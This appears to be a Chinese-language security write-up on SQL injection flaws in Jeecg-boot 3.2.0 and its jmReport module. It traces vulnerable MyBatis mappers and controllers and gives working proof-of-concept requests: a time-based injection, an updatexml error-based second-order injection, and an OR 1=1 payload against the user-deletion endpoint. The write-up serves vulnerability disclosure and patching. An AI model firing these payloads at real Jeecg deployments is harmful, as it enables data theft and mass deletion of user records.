Ref#
Jeecg-boot V3.2.0
Jeecg-boot 漏洞总结及 POC
Vulnerables#
SQL Injection#
绕过过滤 SQL 注入#
注入点 1#
jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml
<!-- 分页查询字典表数据 -->
<select id="queryDictTablePageList" parameterType="Object" resultType="org.jeecg.common.system.vo.DictModel">
select ${query.text} as "text",${query.code} as "value" from ${query.table}
where 1 = 1
<if test="query.keyword != null and query.keyword != ''">
<bind name="bindKeyword" value="'%'+query.keyword+'%'"/>
and (${query.text} like #{bindKeyword} or ${query.code} like #{bindKeyword})
</if>
<if test="query.codeValue != null and query.codeValue != ''">
and ${query.code} = #{query.codeValue}
</if>
</select>可以看到有大量${param}注入点, 反向寻找接口函数和可注入的参数
org.jeecg.modules.system.mapper.SysDictMapper#queryDictTablePageListorg.jeecg.modules.system.service.impl.SysDictServiceImpl#queryDictTablePageListorg.jeecg.modules.system.controller.SysDictController#queryTableData
@Deprecated
@GetMapping("/queryTableData")
public Result<List<DictModel>> queryTableData(DictQuery query,
@RequestParam(name = "pageNo", defaultValue = "1") Integer pageNo,
@RequestParam(name = "pageSize", defaultValue = "10") Integer pageSize,
@RequestParam(value = "sign",required = false) String sign,HttpServletRequest request){
Result<List<DictModel>> res = new Result<List<DictModel>>();
// SQL注入漏洞 sign签名校验
String dictCode = query.getTable()+","+query.getText()+","+query.getCode();
SqlInjectionUtil.filterContent(dictCode);
List<DictModel> ls = this.sysDictService.queryDictTablePageList(query,pageSize,pageNo);
res.setResult(ls);
res.setSuccess(true);
return res;
}
public static void filterContent(String value) {
if (value == null || "".equals(value)) {
return;
}
// 统一转为小写
value = value.toLowerCase();
//SQL注入检测存在绕过风险
value = value.replaceAll("/\\*.*\\*/","");
String[] xssArr = XSS_STR.split("\\|");
for (int i = 0; i < xssArr.length; i++) {
if (value.indexOf(xssArr[i]) > -1) {
log.error("请注意,存在SQL注入关键词---> {}", xssArr[i]);
log.error("请注意,值可能存在SQL注入风险!---> {}", value);
throw new RuntimeException("请注意,值可能存在SQL注入风险!--->" + value);
}
}
if(Pattern.matches(SHOW_TABLES, value)){
throw new RuntimeException("请注意,值可能存在SQL注入风险!--->" + value);
}
return;
}注入点 2#
.m2/repository/org/jeecgframework/boot/hibernate-re/3.2.0-beta/hibernate-re-3.2.0-beta.jar!/org/jeecg/modules/online/cgreport/a/b.class
@GetMapping({"/parseSql"})
public Result<?> a(@RequestParam(name = "sql") String var1, @RequestParam(name = "dbKey",required = false) String var2) {
if (StringUtils.isNotBlank(var2)) {
DynamicDataSourceModel var3 = this.sysBaseAPI.getDynamicDbSourceByCode(var2);
if (var3 == null) {
return Result.error("数据源不存在");
}
}
HashMap var13 = new HashMap();
ArrayList var4 = new ArrayList();
ArrayList var5 = new ArrayList();
Object var6 = null;
Object var7 = null;
try {
this.baseCommonService.addLog("Online报表,sql解析:" + var1, 2, 2);
SqlInjectionUtil.specialFilterContentForOnlineReport(var1); // 弱过滤器
List var14 = this.onlCgreportHeadService.getSqlFields(var1, var2);
List var15 = this.onlCgreportHeadService.getSqlParams(var1);
int var8 = 1;
for(String var19 : var14) {
OnlCgreportItem var11 = new OnlCgreportItem();
var11.setFieldName(var19.toLowerCase());
var11.setFieldTxt(var19);
var11.setIsShow(1);
var11.setOrderNum(var8);
var11.setId(org.jeecg.modules.online.cgform.e.b.a());
var11.setFieldType("String");
var4.add(var11);
++var8;
}
for(String var20 : var15) {
OnlCgreportParam var21 = new OnlCgreportParam();
var21.setParamName(var20);
var21.setParamTxt(var20);
var5.add(var21);
}
var13.put("fields", var4);
var13.put("params", var5);
} catch (Exception var12) {
a.error(var12.getMessage(), var12);
String var9 = "解析失败,";
int var10 = var12.getMessage().indexOf("Connection refused: connect");
if (var10 != -1) {
var9 = var9 + "数据源连接失败.";
} else if (var12.getMessage().indexOf("值可能存在SQL注入风险") != -1) {
var9 = var9 + "SQL可能存在SQL注入风险.";
} else if (var12.getMessage().indexOf("该报表sql没有数据") != -1) {
var9 = var9 + "报表sql查询数据为空,无法解析字段.";
} else if (var12.getMessage().indexOf("SqlServer不支持SQL内排序") != -1) {
var9 = var9 + "SqlServer不支持SQL内排序.";
} else {
var9 = var9 + "SQL语法错误.";
}
return Result.error(var9);
}
return Result.ok(var13);
}经过一个简单的过滤器后进入 Service 层
.m2/repository/org/jeecgframework/boot/hibernate-re/3.2.0-beta/hibernate-re-3.2.0-beta.jar!/org/jeecg/modules/online/cgreport/service/a/c.class
public List<String> getSqlFields(String sql, String dbKey) throws SQLException, a {
Object var3 = null;
List var4;
if (StringUtils.isNotBlank(dbKey)) {
var4 = this.a(sql, dbKey);
} else {
var4 = this.a(sql, (String)null);
}
return var4;
}
private List<String> a(String var1, String var2) throws SQLException, a {
if (oConvertUtils.isEmpty(var1)) {
return null;
} else {
var1 = var1.replace("[^><]=", " = ");
var1 = var1.trim();
if (var1.endsWith(";")) {
var1 = var1.substring(0, var1.length() - 1);
}
var1 = QueryGenerator.convertSystemVariables(var1);
var1 = org.jeecg.modules.online.cgreport.c.c.a(var1);
Set var3 = null;
if (StringUtils.isNotBlank(var2)) {
DynamicDataSourceModel var4 = DataSourceCachePool.getCacheDynamicDataSourceModel(var2);
if (ReUtil.contains(" order\\s+by ", var1.toLowerCase()) && "3".equalsIgnoreCase(var4.getDbType())) {
throw new JeecgBootException("SqlServer不支持SQL内排序!");
}
Map var5 = org.jeecg.modules.online.cgreport.c.c.a(var2, var1);
if (var5 == null) {
if (!var1.contains("*")) {
try {
var5 = org.jeecg.modules.online.cgreport.c.b.a(var1);
} catch (Exception var9) {
}
}
if (var5 == null) {
throw new JeecgBootException("该报表sql没有数据");
}
}
var3 = var5.keySet();
} else {
String var14 = e.getDatabaseType();
if (ReUtil.contains(" order\\s+by ", var1.toLowerCase()) && "SQLSERVER".equalsIgnoreCase(var14)) {
throw new JeecgBootException("SqlServer不支持SQL内排序!");
}
IPage var15 = this.mapper.selectPageBySql(new Page(1L, 1L), var1);
List var6 = var15.getRecords();
if (var6.size() < 1) {
if (!var1.contains("*")) {
try {
var3 = org.jeecg.modules.online.cgreport.c.b.a(var1).keySet();
} catch (Exception var8) {
}
}
if (var3 == null) {
throw new JeecgBootException("该报表sql没有数据");
}
} else {
var3 = ((Map)var6.get(0)).keySet();
}
}
if (var3 != null) {
var3.remove("ROW_ID");
}
return new ArrayList(var3);
}
}依然是一堆复杂的逻辑, 后续再补充
注入点 3#
jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/controller/DuplicateCheckController.java
@RequestMapping(value = "/check", method = RequestMethod.GET)
@ApiOperation("重复校验接口")
public Result<String> doDuplicateCheck(DuplicateCheckVo duplicateCheckVo, HttpServletRequest request) {
Long num = null;
log.info("----duplicate check------:"+ duplicateCheckVo.toString());
//关联表字典(举例:sys_user,realname,id)
//SQL注入校验(只限制非法串改数据库)
final String[] sqlInjCheck = {duplicateCheckVo.getTableName(),duplicateCheckVo.getFieldName()};
SqlInjectionUtil.filterContent(sqlInjCheck);
// update-begin-author:taoyan date:20211227 for: JTC-25 【online报表】oracle 操作问题 录入弹框啥都不填直接保存 ①编码不是应该提示必填么?②报错也应该是具体文字提示,不是后台错误日志
if(StringUtils.isEmpty(duplicateCheckVo.getFieldVal())){
Result rs = new Result();
rs.setCode(500);
rs.setSuccess(true);
rs.setMessage("数据为空,不作处理!");
return rs;
}
//update-begin-author:taoyan date:20220329 for: VUEN-223【安全漏洞】当前被攻击的接口
String checkSql = duplicateCheckVo.getTableName() + SymbolConstant.COMMA + duplicateCheckVo.getFieldName() + SymbolConstant.COMMA;
if(!dictQueryBlackListHandler.isPass(checkSql)){
return Result.error(dictQueryBlackListHandler.getError());
}
//update-end-author:taoyan date:20220329 for: VUEN-223【安全漏洞】当前被攻击的接口
// update-end-author:taoyan date:20211227 for: JTC-25 【online报表】oracle 操作问题 录入弹框啥都不填直接保存 ①编码不是应该提示必填么?②报错也应该是具体文字提示,不是后台错误日志
if (StringUtils.isNotBlank(duplicateCheckVo.getDataId())) {
// [2].编辑页面校验
num = sysDictMapper.duplicateCheckCountSql(duplicateCheckVo);
} else {
// [1].添加页面校验
num = sysDictMapper.duplicateCheckCountSqlNoDataId(duplicateCheckVo);
}
if (num == null || num == 0) {
// 该值可用
return Result.ok("该值可用!");
} else {
// 该值不可用
log.info("该值不可用,系统中已存在!");
return Result.error("该值不可用,系统中已存在!");
}
}checkSql 可被绕过
GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&fieldVal=1&dataId=asd HTTP/1.1jmReport SQL 注入#
.m2/repository/org/jeecgframework/jimureport/jimureport-spring-boot-starter/1.5.0/jimureport-spring-boot-starter-1.5.0.jar!/org/jeecg/modules/jmreport/desreport/a/a.class
注入点 1#
@PostMapping({"/qurestSql"})
public Result<?> b(@RequestBody JSONObject var1, HttpServletRequest var2) {
String var3 = var1.getString("apiSelectId");
var1.remove("apiSelectId");
JmReportDb var4 = this.reportDbService.getById(var3);
List var5 = this.reportDbService.qurestechSql(var4, var1);
this.jmReportDesignService.replaceDbCode(var4, var5);
return Result.OK(e.b(var5));
}参数 apiSelectId 会从jimu_report_db表中通过id参数查询数据,id参数未过滤:
JmReportDb var4 = this.reportDbService.getById(var3);org.jeecg.modules.jmreport.desreport.service.a.i#getByIdorg.jeecg.modules.jmreport.desreport.dao.JimuReportDbDao#get
@Sql("SELECT * FROM jimu_report_db WHERE ID = :id")
JmReportDb get(@Param("id") String var1);jimu_report_db表中id值为1272834687525482497和1290104038414721025等的db_dyn_sql列是sql语句,且引用了id参数,这会导致二次注入
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
{"apiSelectId":"1290104038414721025","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}注入点 2#
@DeleteMapping({"/deleteFieldByIds"})
@JimuLoginRequired
public Result<?> f(HttpServletRequest var1, @RequestBody String var2) {
a.debug("============deleParams==========");
this.jmReportDbFieldService.deleteByIds(var2);
return Result.OK();
}org.jeecg.modules.jmreport.desreport.service.IJmReportDbFieldService#deleteByIdsorg.jeecg.modules.jmreport.desreport.service.a.g#deleteFieldByIdsorg.jeecg.modules.jmreport.desreport.dao.JimuReportDbFieldDao#deleteBatchIds
@Sql("DELETE FROM jimu_report_db_field WHERE ID in(:ids)")
void deleteBatchIds(@Param("ids") List var1);同样全过程无过滤
弃用接口注入#
.m2/repository/org/jeecgframework/boot/hibernate-re/3.2.0-beta/hibernate-re-3.2.0-beta.jar!/org/jeecg/modules/online/cgreport/a/a.class
@GetMapping({"/getReportDictList"})
public Result<?> a(@RequestParam("sql") String var1, @RequestParam(name = "keyword",required = false) String var2) {
List var3 = this.onlCgreportHeadService.queryDictSelectData(var1, var2);
return Result.ok(var3);
}/** @deprecated */
@Deprecated
public List<DictModel> queryDictSelectData(String sql, String keyword) {
Object var3 = new ArrayList();
Page var4 = new Page();
var4.setSearchCount(false);
var4.setCurrent(1L);
var4.setSize(10L);
sql = sql.trim();
int var5 = sql.lastIndexOf(";");
if (var5 == sql.length() - 1) {
sql = sql.substring(0, var5);
}
if (keyword != null && !"".equals(keyword)) {
String var6 = " like '%" + keyword + "%'";
sql = "select * from (" + sql + ") t where t.value " + var6 + " or " + "t.text" + var6;
}
IPage var10 = ((OnlCgreportHeadMapper)this.baseMapper).selectPageBySql(var4, sql);
List var7 = var10.getRecords();
var7 = (List)var7.stream().filter((var0) -> var0 != null).collect(Collectors.toList());
if (var7 != null && var7.size() != 0) {
String var8 = JSON.toJSONString(var7);
var3 = JSON.parseArray(var8, DictModel.class);
}
return (List<DictModel>)var3;
}SQL 字符串拼接
用户删除注入#
jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/controller/SysUserController.java
@RequestMapping(value = "/deleteRecycleBin", method = RequestMethod.DELETE)
public Result deleteRecycleBin(@RequestParam("userIds") String userIds) {
if (StringUtils.isNotBlank(userIds)) {
sysUserService.removeLogicDeleted(Arrays.asList(userIds.split(",")));
}
return Result.ok("删除成功");
}jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/service/impl/SysUserServiceImpl.java
@Override
@Transactional(rollbackFor = Exception.class)
public boolean removeLogicDeleted(List<String> userIds) {
String ids = String.format("'%s'", String.join("','", userIds));
// 1. 删除用户
int line = userMapper.deleteLogicDeleted(ids);
// 2. 删除用户部门关系
line += sysUserDepartMapper.delete(new LambdaQueryWrapper<SysUserDepart>().in(SysUserDepart::getUserId, userIds));
//3. 删除用户角色关系
line += sysUserRoleMapper.delete(new LambdaQueryWrapper<SysUserRole>().in(SysUserRole::getUserId, userIds));
//4.同步删除第三方App的用户
try {
dingtalkService.removeThirdAppUser(userIds);
wechatEnterpriseService.removeThirdAppUser(userIds);
} catch (Exception e) {
log.error("同步删除第三方App的用户失败:", e);
}
//5. 删除第三方用户表(因为第4步需要用到第三方用户表,所以在他之后删)
line += sysThirdAccountMapper.delete(new LambdaQueryWrapper<SysThirdAccount>().in(SysThirdAccount::getSysUserId, userIds));
return line != 0;
}jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/mapper/xml/SysUserMapper.xml
<!-- 彻底删除被逻辑删除的用户 -->
<delete id="deleteLogicDeleted">
DELETE FROM sys_user WHERE del_flag = 1 AND id IN (${userIds})
</delete>只添加了简单的单引号环绕, 可通过 1') OR 1=1 -- 注入